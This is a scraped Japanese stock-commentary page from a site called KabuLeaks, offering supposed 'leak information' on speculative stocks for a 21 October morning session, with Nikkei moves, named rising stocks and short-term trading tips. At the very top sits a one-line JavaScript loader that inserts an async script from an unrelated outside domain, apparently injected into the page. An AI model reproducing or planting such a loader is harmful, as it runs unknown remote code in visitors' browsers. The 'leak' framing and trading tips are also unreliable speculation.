;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/21 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/21 前引け】

前場の日経平均株価は148円高と続伸。寄り付きは前日の米株安を背景に小幅下落スタートもすぐさま切り返しプラス転換。その後は先物主導で上げ幅を拡大し、高値圏でのもみ合いとなっている。業種別では、鉄鋼、非鉄金属、電気機器、機械などが上昇率上位に。一方、医薬品、食料品、不動産業などが値下がり率上位となっている。

個別では、体外検査薬として開発を進めるOBP-1101(テロメスキャンF35)に関する特許が日本国内における特許登録を受けたと発表した【4588】オンコリスバイオファーマや予想を上回る4-9月期決算を発表した【6506】安川電機が大幅上昇となったほか、同じく決算好感から【5423】東京製鐵なども高い。また、調整一巡感から【9417】スマートバリューが前日に続き買い優勢のほか、自社株買いを好感された【5999】イハラサイエンスなども買われている。

買い一巡後はこう着感が強い状況。後場更に上値を追うには買い材料不足感があるが先物主導で買い仕掛け的な動きも想定、上げ幅拡大するようなら素直に乗ってみるのもアリかとは思う。ただ、引けにかけての上げ幅縮小する展開。後場に買い、利が乗った銘柄は本日中に手仕舞いも考えおきたい。